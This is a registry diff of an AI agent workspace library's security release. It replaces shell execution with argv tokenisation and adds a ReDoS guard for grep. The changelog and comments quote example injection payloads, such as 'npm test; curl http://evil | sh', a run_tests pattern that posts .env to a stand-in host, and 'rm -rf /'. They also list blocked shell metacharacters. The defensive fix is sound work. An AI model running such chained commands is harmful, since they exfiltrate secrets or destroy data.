@warlock.js/ai-workspace 4.15.0 → 4.16.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +9 -0
- package/cjs/index.cjs +242 -39
- package/cjs/index.cjs.map +1 -1
- package/esm/backends/local.d.mts.map +1 -1
- package/esm/backends/local.mjs +82 -16
- package/esm/backends/local.mjs.map +1 -1
- package/esm/contracts/workspace-policy.type.d.mts +9 -4
- package/esm/contracts/workspace-policy.type.d.mts.map +1 -1
- package/esm/errors.d.mts +8 -2
- package/esm/errors.d.mts.map +1 -1
- package/esm/errors.mjs +1 -0
- package/esm/errors.mjs.map +1 -1
- package/esm/ops.d.mts.map +1 -1
- package/esm/ops.mjs +54 -10
- package/esm/ops.mjs.map +1 -1
- package/esm/policy/policy.d.mts +9 -2
- package/esm/policy/policy.d.mts.map +1 -1
- package/esm/policy/policy.mjs +18 -9
- package/esm/policy/policy.mjs.map +1 -1
- package/esm/policy/tokenize-command.mjs +78 -0
- package/esm/policy/tokenize-command.mjs.map +1 -0
- package/esm/tools/run-tests.d.mts +6 -3
- package/esm/tools/run-tests.d.mts.map +1 -1
- package/esm/tools/run-tests.mjs +13 -4
- package/esm/tools/run-tests.mjs.map +1 -1
- package/llms-full.txt +22 -3
- package/llms.txt +1 -1
- package/package.json +3 -3
- package/skills/use-a-workspace/SKILL.md +22 -3
package/CHANGELOG.md
CHANGED
|
@@ -4,6 +4,15 @@ All notable changes to `@warlock.js/ai-workspace` are documented in this file.
|
|
|
4
4
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). `@warlock.js/*` packages are released in lockstep — every package shares the same version number, so a version below may list only the changes that affected this package.
|
|
6
6
|
|
|
7
|
+
## 4.16.0 - 2026-08-18
|
|
8
|
+
|
|
9
|
+
### Security
|
|
10
|
+
|
|
11
|
+
- **Fixed a critical command-injection bypass of the shell allowlist.** Commands were spawned with `shell: true` while the allow/deny gate inspected only the leading executable token, so a command like `npm test; curl http://evil | sh` (or any `&&`, `|`, backtick, `$()`, or redirection chain) passed the gate and the shell executed the injected suffix — a prompt-injected agent could run arbitrary programs past a fail-closed allowlist. Commands are now tokenized into an argv with **no shell semantics** (quotes respected; unquoted metacharacters `;` `&` `|` `<` `>` `` ` `` `$` `(` `)` and newlines are rejected outright, by both `isCommandAllowed` and the local backend) and spawned with `shell: false`. On Windows, the argv runs through a `cmd.exe /d /s /c` wrapper with every element individually quoted (batch shims like `npm.cmd` cannot be spawned shell-less); arguments containing `"`, `%`, or newlines are refused there rather than risked (BatBadBut-class smuggling).
|
|
12
|
+
- **Fixed `run_tests` pattern injection.** The model-controlled `pattern` was concatenated verbatim into the shelled test command, giving a second, direct injection path (`{ pattern: "; curl http://evil -d @.env #" }`). The pattern is now forwarded as a single double-quoted token — one literal argv element to the runner — and patterns containing double quotes or newlines are rejected at input validation.
|
|
13
|
+
- Behavior note: shell conveniences (pipes, redirection, chaining, variable expansion) no longer work in `run_shell`/`exec` — commands run one argv at a time. Quoted metacharacters remain plain argument data.
|
|
14
|
+
- **Fixed a ReDoS / event-loop DoS in `grep`.** `Ops.grep` compiled a model-controlled pattern into a `RegExp` with no length cap and ran it synchronously, per line, over every scanned file — a pattern like `(a+)+$` against an ordinary line could hang the process for an attacker-controlled or prompt-injected duration. `grep` now rejects patterns over 200 characters and patterns matching a nested-quantifier heuristic (`(x+)+`, `(x*)*`, `(x+)*`, `(x*)+`-shaped groups) as a new `WorkspacePolicyError` (`type: "unsafe-pattern"`) before compiling the regex, and skips (rather than tests) any line longer than 2000 characters to bound the worst-case backtracking cost of any single call.
|
|
15
|
+
|
|
7
16
|
## 4.12.0
|
|
8
17
|
|
|
9
18
|
### Changed
|
package/cjs/index.cjs
CHANGED
|
@@ -59,6 +59,7 @@ var WorkspacePolicyError = class extends _warlock_js_ai.AIError {
|
|
|
59
59
|
this.type = options.type;
|
|
60
60
|
this.path = options.path;
|
|
61
61
|
this.command = options.command;
|
|
62
|
+
this.pattern = options.pattern;
|
|
62
63
|
}
|
|
63
64
|
};
|
|
64
65
|
/**
|
|
@@ -87,6 +88,82 @@ var WorkspaceEditError = class extends _warlock_js_ai.AIError {
|
|
|
87
88
|
}
|
|
88
89
|
};
|
|
89
90
|
|
|
91
|
+
//#endregion
|
|
92
|
+
//#region ../ai-workspace/src/policy/tokenize-command.ts
|
|
93
|
+
/**
|
|
94
|
+
* Characters that are refused when they appear UNQUOTED in a command line.
|
|
95
|
+
* Workspace commands are executed as a direct argv spawn — never through a
|
|
96
|
+
* shell — so none of these can mean what a shell would make them mean
|
|
97
|
+
* (chaining, piping, substitution, redirection, subshells). Refusing them
|
|
98
|
+
* outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is
|
|
99
|
+
* rejected instead of silently running commands past the allowlist. Inside
|
|
100
|
+
* quotes they are ordinary literal bytes and pass through as argument data.
|
|
101
|
+
*/
|
|
102
|
+
const UNQUOTED_METACHARACTERS = new Set([
|
|
103
|
+
";",
|
|
104
|
+
"&",
|
|
105
|
+
"|",
|
|
106
|
+
"<",
|
|
107
|
+
">",
|
|
108
|
+
"`",
|
|
109
|
+
"$",
|
|
110
|
+
"(",
|
|
111
|
+
")"
|
|
112
|
+
]);
|
|
113
|
+
/**
|
|
114
|
+
* Tokenize a command line into an argv array WITHOUT any shell semantics.
|
|
115
|
+
*
|
|
116
|
+
* Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs
|
|
117
|
+
* separate tokens; single- or double-quoted spans are literal (including
|
|
118
|
+
* whitespace and metacharacters) up to the matching close quote, and
|
|
119
|
+
* adjacent spans concatenate into one token (`foo"bar baz"` → `foo bar baz`).
|
|
120
|
+
* There is **no** variable expansion, globbing, or backslash escaping — a
|
|
121
|
+
* backslash is a literal byte, so Windows paths survive untouched.
|
|
122
|
+
*
|
|
123
|
+
* Returns `null` — "this command cannot be represented as a single argv" —
|
|
124
|
+
* for an empty/whitespace-only line, an unbalanced quote, or any unquoted
|
|
125
|
+
* shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The
|
|
126
|
+
* policy gate treats `null` as denied and the local backend refuses to
|
|
127
|
+
* spawn it, which is what closes the `allowed_cmd; anything-else` injection.
|
|
128
|
+
*
|
|
129
|
+
* @example
|
|
130
|
+
* tokenizeCommand('npm test'); // ["npm", "test"]
|
|
131
|
+
* tokenizeCommand('node -e "console.log(1)"'); // ["node", "-e", "console.log(1)"]
|
|
132
|
+
* tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)
|
|
133
|
+
*/
|
|
134
|
+
function tokenizeCommand(command) {
|
|
135
|
+
const argv = [];
|
|
136
|
+
let current = "";
|
|
137
|
+
let inToken = false;
|
|
138
|
+
let index = 0;
|
|
139
|
+
while (index < command.length) {
|
|
140
|
+
const char = command[index];
|
|
141
|
+
if (char === "'" || char === "\"") {
|
|
142
|
+
const closing = command.indexOf(char, index + 1);
|
|
143
|
+
if (closing === -1) return null;
|
|
144
|
+
current += command.slice(index + 1, closing);
|
|
145
|
+
inToken = true;
|
|
146
|
+
index = closing + 1;
|
|
147
|
+
continue;
|
|
148
|
+
}
|
|
149
|
+
if (char === " " || char === " ") {
|
|
150
|
+
if (inToken) {
|
|
151
|
+
argv.push(current);
|
|
152
|
+
current = "";
|
|
153
|
+
inToken = false;
|
|
154
|
+
}
|
|
155
|
+
index++;
|
|
156
|
+
continue;
|
|
157
|
+
}
|
|
158
|
+
if (char === "\n" || char === "\r" || UNQUOTED_METACHARACTERS.has(char)) return null;
|
|
159
|
+
current += char;
|
|
160
|
+
inToken = true;
|
|
161
|
+
index++;
|
|
162
|
+
}
|
|
163
|
+
if (inToken) argv.push(current);
|
|
164
|
+
return argv.length > 0 ? argv : null;
|
|
165
|
+
}
|
|
166
|
+
|
|
90
167
|
//#endregion
|
|
91
168
|
//#region ../ai-workspace/src/policy/policy.ts
|
|
92
169
|
/**
|
|
@@ -206,20 +283,25 @@ async function resolveInJail(policy, inputPath) {
|
|
|
206
283
|
};
|
|
207
284
|
}
|
|
208
285
|
/**
|
|
209
|
-
*
|
|
210
|
-
*
|
|
211
|
-
*
|
|
212
|
-
*
|
|
286
|
+
* Reduce an argv's first element to the basename the allow/deny policy is
|
|
287
|
+
* keyed on. `"npm"` → `"npm"`; `"/usr/bin/node"` → `"node"`; `"node.exe"`
|
|
288
|
+
* → `"node"` (the `.exe`/`.cmd`/`.bat`/`.com` Windows extension is
|
|
289
|
+
* stripped).
|
|
213
290
|
*/
|
|
214
|
-
function
|
|
215
|
-
const firstToken = command.trim().split(/\s+/)[0] ?? "";
|
|
291
|
+
function executableBasename(firstToken) {
|
|
216
292
|
return node_path.default.basename(firstToken).replace(/\.(exe|cmd|bat|com)$/i, "");
|
|
217
293
|
}
|
|
218
294
|
/**
|
|
219
295
|
* Whether a shell command is permitted by the policy's `shell` sub-policy.
|
|
220
296
|
*
|
|
221
|
-
* The command
|
|
222
|
-
*
|
|
297
|
+
* The command is first tokenized via {@link tokenizeCommand} — a command
|
|
298
|
+
* that cannot be represented as a single argv (unbalanced quotes, or
|
|
299
|
+
* unquoted shell metacharacters such as `;`, `&&`, `|`, backticks, `$`,
|
|
300
|
+
* redirection) is denied outright. The backend spawns the argv directly
|
|
301
|
+
* with no shell, so such a command has no meaning here — and unquoted
|
|
302
|
+
* metacharacters were exactly how an injected command chain used to ride
|
|
303
|
+
* past the allowlist. The resolved `argv[0]` basename is then matched
|
|
304
|
+
* against `shell.deny` then `shell.allow`. **Deny always wins.** When
|
|
223
305
|
* `shell.allow` is set, the executable MUST appear in it (fail-closed
|
|
224
306
|
* allowlist); when `allow` is absent/empty, any non-denied command is
|
|
225
307
|
* permitted. An absent `shell` block means no command may run at all.
|
|
@@ -231,11 +313,14 @@ function leadingExecutable(command) {
|
|
|
231
313
|
* @example
|
|
232
314
|
* isCommandAllowed({ cwd, shell: { allow: ["npm"] } }, "npm test"); // true
|
|
233
315
|
* isCommandAllowed({ cwd, shell: { allow: ["npm"] } }, "rm -rf /"); // false
|
|
316
|
+
* isCommandAllowed({ cwd, shell: { allow: ["npm"] } }, "npm test; rm -rf /"); // false
|
|
234
317
|
*/
|
|
235
318
|
function isCommandAllowed(policy, command) {
|
|
236
319
|
const shell = policy.shell;
|
|
237
320
|
if (!shell) return false;
|
|
238
|
-
const
|
|
321
|
+
const argv = tokenizeCommand(command);
|
|
322
|
+
if (argv === null) return false;
|
|
323
|
+
const executable = executableBasename(argv[0]);
|
|
239
324
|
if (executable === "") return false;
|
|
240
325
|
if (shell.deny && shell.deny.includes(executable)) return false;
|
|
241
326
|
if (shell.allow && shell.allow.length > 0) return shell.allow.includes(executable);
|
|
@@ -274,6 +359,20 @@ const DEFAULT_MAX_GREP_MATCHES = 1e3;
|
|
|
274
359
|
/** Default per-command output byte cap when the policy sets none. */
|
|
275
360
|
const DEFAULT_MAX_OUTPUT_BYTES = 1e6;
|
|
276
361
|
/**
|
|
362
|
+
* Hard ceiling on `grep` pattern length. A model-controlled regex has no
|
|
363
|
+
* legitimate reason to be this long; longer patterns are rejected outright
|
|
364
|
+
* rather than compiled.
|
|
365
|
+
*/
|
|
366
|
+
const MAX_GREP_PATTERN_LENGTH = 200;
|
|
367
|
+
/**
|
|
368
|
+
* Hard ceiling on the number of characters of a single line handed to
|
|
369
|
+
* `RegExp#test` during a `grep`. Catastrophic backtracking is exponential
|
|
370
|
+
* in input length, so bounding the input scanned per call bounds the
|
|
371
|
+
* worst-case time a single pathological line can cost — lines longer than
|
|
372
|
+
* this are skipped rather than scanned.
|
|
373
|
+
*/
|
|
374
|
+
const MAX_GREP_LINE_SCAN_LENGTH = 2e3;
|
|
375
|
+
/**
|
|
277
376
|
* Number the lines of `content` `cat -n` style: a right-aligned line
|
|
278
377
|
* number (min width 6), a tab, then the line. `startLine` is the 1-based
|
|
279
378
|
* number of the first line in the window.
|
|
@@ -326,6 +425,28 @@ function globToRegExp(glob) {
|
|
|
326
425
|
return new RegExp(`^${source}$`);
|
|
327
426
|
}
|
|
328
427
|
/**
|
|
428
|
+
* A quantifier: `+`, `*`, `?`, or a `{m,n}` bound.
|
|
429
|
+
*/
|
|
430
|
+
const QUANTIFIER_SOURCE = String.raw`[+*?]|\{\d*,?\d*\}`;
|
|
431
|
+
/**
|
|
432
|
+
* Heuristic catastrophic-backtracking detector: flags a quantified group
|
|
433
|
+
* that itself contains a quantifier (e.g. `(a+)+`, `(a*)*`, `(.+)*`) —
|
|
434
|
+
* the classic exponential-blowup shape. Not a full regex-safety analyzer
|
|
435
|
+
* (it won't catch every ReDoS shape, e.g. quantified alternation like
|
|
436
|
+
* `(a|a)+`), but it rejects the shape an agent is most likely to emit,
|
|
437
|
+
* intentionally or via prompt injection.
|
|
438
|
+
*/
|
|
439
|
+
const NESTED_QUANTIFIER_PATTERN = new RegExp(String.raw`\([^()]*(?:${QUANTIFIER_SOURCE})[^()]*\)(?:${QUANTIFIER_SOURCE})`);
|
|
440
|
+
/**
|
|
441
|
+
* Whether `pattern` is safe enough to compile and run against workspace
|
|
442
|
+
* content: within the length cap and free of the nested-quantifier shape
|
|
443
|
+
* that causes catastrophic regex backtracking (ReDoS).
|
|
444
|
+
*/
|
|
445
|
+
function isSafeGrepPattern(pattern) {
|
|
446
|
+
if (pattern.length > MAX_GREP_PATTERN_LENGTH) return false;
|
|
447
|
+
return !NESTED_QUANTIFIER_PATTERN.test(pattern);
|
|
448
|
+
}
|
|
449
|
+
/**
|
|
329
450
|
* The internal, single-instance implementation of {@link WorkspaceOps}.
|
|
330
451
|
* Holds the backend + policy and is the one place the jail, command
|
|
331
452
|
* gating, read caps, and the read-before-edit guard are enforced — both
|
|
@@ -440,6 +561,10 @@ var Ops = class {
|
|
|
440
561
|
};
|
|
441
562
|
}
|
|
442
563
|
async grep(pattern, opts) {
|
|
564
|
+
if (!isSafeGrepPattern(pattern)) throw new WorkspacePolicyError(`Grep pattern is too long or too likely to cause catastrophic regex backtracking: ${pattern}`, {
|
|
565
|
+
type: "unsafe-pattern",
|
|
566
|
+
pattern
|
|
567
|
+
});
|
|
443
568
|
const { absolutePath: jailRoot } = await resolveInJail(this.policy, ".");
|
|
444
569
|
const flags = opts?.ignoreCase ? "i" : "";
|
|
445
570
|
const regex = new RegExp(pattern, flags);
|
|
@@ -457,16 +582,20 @@ var Ops = class {
|
|
|
457
582
|
continue;
|
|
458
583
|
}
|
|
459
584
|
const lines = content.split("\n");
|
|
460
|
-
for (let index = 0; index < lines.length; index++)
|
|
461
|
-
|
|
462
|
-
|
|
463
|
-
|
|
464
|
-
|
|
465
|
-
|
|
466
|
-
|
|
467
|
-
|
|
468
|
-
|
|
469
|
-
|
|
585
|
+
for (let index = 0; index < lines.length; index++) {
|
|
586
|
+
const line = lines[index];
|
|
587
|
+
if (line.length > MAX_GREP_LINE_SCAN_LENGTH) continue;
|
|
588
|
+
if (regex.test(line)) {
|
|
589
|
+
matches.push({
|
|
590
|
+
path: relativePath,
|
|
591
|
+
line: index + 1,
|
|
592
|
+
text: line
|
|
593
|
+
});
|
|
594
|
+
if (matches.length >= DEFAULT_MAX_GREP_MATCHES) return {
|
|
595
|
+
matches,
|
|
596
|
+
total: matches.length
|
|
597
|
+
};
|
|
598
|
+
}
|
|
470
599
|
}
|
|
471
600
|
}
|
|
472
601
|
return {
|
|
@@ -580,11 +709,11 @@ function pushCapped(chunks, total, chunk) {
|
|
|
580
709
|
/**
|
|
581
710
|
* Force-kill a spawned command and its entire process tree.
|
|
582
711
|
*
|
|
583
|
-
*
|
|
584
|
-
*
|
|
585
|
-
*
|
|
586
|
-
*
|
|
587
|
-
* the whole group:
|
|
712
|
+
* The direct child may have grandchildren (on Windows it is the `cmd.exe`
|
|
713
|
+
* wrapper around a batch shim; anywhere, an allowed `npm`/`node` can spawn
|
|
714
|
+
* further processes), so signalling the direct child alone could leave a
|
|
715
|
+
* long-running grandchild alive and the `exec` promise unsettled. We
|
|
716
|
+
* therefore kill the whole group:
|
|
588
717
|
* - **Windows** — `taskkill /T /F` walks and terminates the PID's tree.
|
|
589
718
|
* - **POSIX** — the child is spawned `detached`, becoming its own process
|
|
590
719
|
* group leader, so `process.kill(-pid)` SIGKILLs the group.
|
|
@@ -610,6 +739,39 @@ function killTree(pid, child) {
|
|
|
610
739
|
}
|
|
611
740
|
}
|
|
612
741
|
/**
|
|
742
|
+
* Argument bytes `cmd.exe` cannot carry safely even inside double quotes:
|
|
743
|
+
* an embedded quote breaks out of the quoted span, `%` triggers variable
|
|
744
|
+
* expansion regardless of quoting, and newlines end the command line. An
|
|
745
|
+
* argv containing any of these is refused rather than risked (the
|
|
746
|
+
* BatBadBut / CVE-2024-24576 class of `cmd.exe` argument smuggling).
|
|
747
|
+
*/
|
|
748
|
+
const WIN32_UNSAFE_ARGUMENT = /["%\r\n]/;
|
|
749
|
+
/**
|
|
750
|
+
* Build the `cmd.exe` invocation that runs an argv on Windows. Batch shims
|
|
751
|
+
* (`npm.cmd`, `npx.cmd`, …) cannot be spawned directly without a shell
|
|
752
|
+
* (Node rejects them since CVE-2024-27980), so the argv is run through
|
|
753
|
+
* `cmd.exe /d /s /c` with every element individually double-quoted —
|
|
754
|
+
* quoted spans are literal to cmd's parser, so pipes/ampersands inside an
|
|
755
|
+
* argument stay argument data. Returns `null` when an element contains a
|
|
756
|
+
* byte cmd cannot quote safely (see {@link WIN32_UNSAFE_ARGUMENT}).
|
|
757
|
+
*
|
|
758
|
+
* The caller must spawn with `windowsVerbatimArguments: true` so Node does
|
|
759
|
+
* not re-quote the already-quoted command line.
|
|
760
|
+
*/
|
|
761
|
+
function toWin32CmdInvocation(argv) {
|
|
762
|
+
if (argv.some((element) => WIN32_UNSAFE_ARGUMENT.test(element))) return null;
|
|
763
|
+
const commandLine = argv.map((element) => `"${element}"`).join(" ");
|
|
764
|
+
return {
|
|
765
|
+
file: process.env.ComSpec ?? "cmd.exe",
|
|
766
|
+
args: [
|
|
767
|
+
"/d",
|
|
768
|
+
"/s",
|
|
769
|
+
"/c",
|
|
770
|
+
`"${commandLine}"`
|
|
771
|
+
]
|
|
772
|
+
};
|
|
773
|
+
}
|
|
774
|
+
/**
|
|
613
775
|
* The real-disk executor: every filesystem method delegates to
|
|
614
776
|
* `@warlock.js/fs` (never `node:fs`), and {@link LocalBackend.exec} spawns a
|
|
615
777
|
* process via `node:child_process`. It is deliberately **policy-agnostic** —
|
|
@@ -674,24 +836,56 @@ var LocalBackend = class {
|
|
|
674
836
|
return (0, node_fs_promises.realpath)(absPath);
|
|
675
837
|
}
|
|
676
838
|
/**
|
|
677
|
-
* Run a command and capture its outcome. The command line is
|
|
678
|
-
*
|
|
679
|
-
*
|
|
680
|
-
*
|
|
681
|
-
*
|
|
682
|
-
*
|
|
839
|
+
* Run a command and capture its outcome. The command line is tokenized
|
|
840
|
+
* into an argv (quotes respected, NO shell semantics — see
|
|
841
|
+
* `tokenizeCommand`) and spawned **without a shell**, so metacharacters
|
|
842
|
+
* like `;`, `&&`, `|`, backticks, and `$()` can never chain extra
|
|
843
|
+
* commands past the ops layer's allowlist; a command they appear
|
|
844
|
+
* unquoted in is refused with exit code 127. On Windows the argv runs
|
|
845
|
+
* through a `cmd.exe /d /s /c` wrapper (batch shims like `npm.cmd`
|
|
846
|
+
* cannot be spawned shell-less) with every element individually quoted.
|
|
847
|
+
* `cwd`, `env`, and the timeout are taken verbatim from the ops layer
|
|
848
|
+
* (the environment is NOT merged with `process.env`). On timeout the
|
|
849
|
+
* process is SIGKILLed and `timedOut` is set. `stdout`/`stderr` are
|
|
850
|
+
* captured and byte-capped per {@link MAX_STREAM_BYTES}.
|
|
683
851
|
*
|
|
684
|
-
* Never rejects for a non-zero exit, a missing executable,
|
|
685
|
-
* those are reported through the resolved
|
|
686
|
-
* so the ops layer can surface them
|
|
852
|
+
* Never rejects for a non-zero exit, a missing executable, a refused
|
|
853
|
+
* command line, or a timeout — those are reported through the resolved
|
|
854
|
+
* {@link WorkspaceBackendExecResult} so the ops layer can surface them
|
|
855
|
+
* as tool-error data.
|
|
687
856
|
*/
|
|
688
857
|
exec(command, opts = {}) {
|
|
689
858
|
return new Promise((resolve) => {
|
|
690
|
-
const
|
|
859
|
+
const refuse = (stderr) => resolve({
|
|
860
|
+
exitCode: 127,
|
|
861
|
+
stdout: "",
|
|
862
|
+
stderr,
|
|
863
|
+
timedOut: false
|
|
864
|
+
});
|
|
865
|
+
const argv = tokenizeCommand(command);
|
|
866
|
+
if (argv === null) {
|
|
867
|
+
refuse("Command was not executed: it is empty, has unbalanced quotes, or contains unquoted shell metacharacters (;, &, |, `, $, <, >, parentheses). Commands run without a shell — pass metacharacters inside quotes as literal arguments, or run one command at a time.");
|
|
868
|
+
return;
|
|
869
|
+
}
|
|
870
|
+
let file = argv[0];
|
|
871
|
+
let args = argv.slice(1);
|
|
872
|
+
let windowsVerbatimArguments = false;
|
|
873
|
+
if (node_process.platform === "win32") {
|
|
874
|
+
const invocation = toWin32CmdInvocation(argv);
|
|
875
|
+
if (invocation === null) {
|
|
876
|
+
refuse("Command was not executed: on Windows, arguments containing \", %, or newlines cannot be passed to cmd.exe safely.");
|
|
877
|
+
return;
|
|
878
|
+
}
|
|
879
|
+
file = invocation.file;
|
|
880
|
+
args = invocation.args;
|
|
881
|
+
windowsVerbatimArguments = true;
|
|
882
|
+
}
|
|
883
|
+
const child = (0, node_child_process.spawn)(file, args, {
|
|
691
884
|
cwd: opts.cwd,
|
|
692
885
|
env: opts.env,
|
|
693
|
-
shell:
|
|
886
|
+
shell: false,
|
|
694
887
|
windowsHide: true,
|
|
888
|
+
windowsVerbatimArguments,
|
|
695
889
|
detached: node_process.platform !== "win32"
|
|
696
890
|
});
|
|
697
891
|
const stdoutChunks = [];
|
|
@@ -1293,7 +1487,10 @@ const DEFAULT_RUN_TESTS_TOOL_NAME = "run_tests";
|
|
|
1293
1487
|
const DEFAULT_TEST_COMMAND = "npm test";
|
|
1294
1488
|
/**
|
|
1295
1489
|
* Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the
|
|
1296
|
-
* only field and is optional; when present it must be a string
|
|
1490
|
+
* only field and is optional; when present it must be a string without
|
|
1491
|
+
* double quotes or newlines — the pattern is forwarded to the runner as a
|
|
1492
|
+
* single double-quoted argument, and those characters would break out of
|
|
1493
|
+
* the quoting (i.e. inject extra arguments or commands). Validation
|
|
1297
1494
|
* happens without a runtime schema dependency, mirroring the wider tool
|
|
1298
1495
|
* layer.
|
|
1299
1496
|
*/
|
|
@@ -1308,6 +1505,10 @@ const runTestsInputSchema = { "~standard": {
|
|
|
1308
1505
|
message: "pattern must be a string",
|
|
1309
1506
|
path: ["pattern"]
|
|
1310
1507
|
}] };
|
|
1508
|
+
if (typeof candidate.pattern === "string" && /["\r\n]/.test(candidate.pattern)) return { issues: [{
|
|
1509
|
+
message: "pattern must not contain double quotes or newlines",
|
|
1510
|
+
path: ["pattern"]
|
|
1511
|
+
}] };
|
|
1311
1512
|
const result = {};
|
|
1312
1513
|
if (candidate.pattern !== void 0) result.pattern = candidate.pattern;
|
|
1313
1514
|
return { value: result };
|
|
@@ -1320,8 +1521,10 @@ const runTestsInputSchema = { "~standard": {
|
|
|
1320
1521
|
*
|
|
1321
1522
|
* The base command defaults to `"npm test"` and can be overridden via
|
|
1322
1523
|
* `options.command`. When the model passes a `pattern`, it is appended to
|
|
1323
|
-
* the command as a path/suite filter
|
|
1324
|
-
*
|
|
1524
|
+
* the command as a **single quoted argument** — a path/suite filter the
|
|
1525
|
+
* tokenizer hands to the runner as one argv element (e.g.
|
|
1526
|
+
* `npm test "src/cart"`), so shell metacharacters inside it are literal
|
|
1527
|
+
* data, never a second command. Like `run_shell`, the resolved command's
|
|
1325
1528
|
* executable is gated by the shell policy — a denial surfaces in the
|
|
1326
1529
|
* result's `error` field — and a non-zero exit (failing tests) comes back
|
|
1327
1530
|
* as `data` for the agent to read and fix.
|
|
@@ -1342,7 +1545,7 @@ function makeRunTestsTool(ops, options) {
|
|
|
1342
1545
|
action: (input) => input.pattern ? `Running tests matching "${input.pattern}"` : "Running tests",
|
|
1343
1546
|
input: runTestsInputSchema,
|
|
1344
1547
|
execute: (input) => {
|
|
1345
|
-
const command = input.pattern ? `${baseCommand} ${input.pattern}` : baseCommand;
|
|
1548
|
+
const command = input.pattern ? `${baseCommand} "${input.pattern}"` : baseCommand;
|
|
1346
1549
|
return ops.exec(command);
|
|
1347
1550
|
}
|
|
1348
1551
|
});
|